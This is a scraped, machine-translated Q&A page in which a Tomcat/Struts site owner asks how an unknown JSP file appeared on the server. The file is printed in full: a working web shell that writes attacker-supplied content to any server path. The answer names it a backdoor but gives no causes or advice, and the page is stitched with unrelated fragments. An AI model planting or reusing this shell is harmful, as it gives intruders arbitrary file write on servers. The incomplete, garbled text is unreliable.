作者热门文章
- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
这是一个用于在我的-6ren">
我有一个由 Tomcat 7.0.42 提供服务的 Struts 2 Web 应用程序。我最近发现我还没有上传的文件。这里我举个例子
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">
这是一个用于在我的服务器上写入文件的小型 JSP。几天前,他们获得了 shell 的访问权限,但由于某种 DDoS 攻击,所有服务器都宕机了。
我真的很想知道他们如何在我的服务器上写入文件。我有一些与用户交互的表单,但所有字段都受正则表达式限制,我使用准备好的语句来访问我的数据库。如果您想“实际”查看问题 (link)
非常感谢任何帮助。谢谢!
最佳答案
很明显,这是一些恶意用户/黑客上传的后门。
为什么该文件最终出现在那里可能有以下几个原因:
我的建议:
祝你好运!
关于java - 为什么服务器上出现上传的未知文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20252529/
我有以下正则表达式 /[a-zA-Z0-9_-]/ 当字符串只包含从 a 到z 大小写、数字、_ 和 -。 我的代码有什么问题? 能否请您向我提供一个简短的解释和有关如何修复它的代码示例? //var
我是一名优秀的程序员,十分优秀!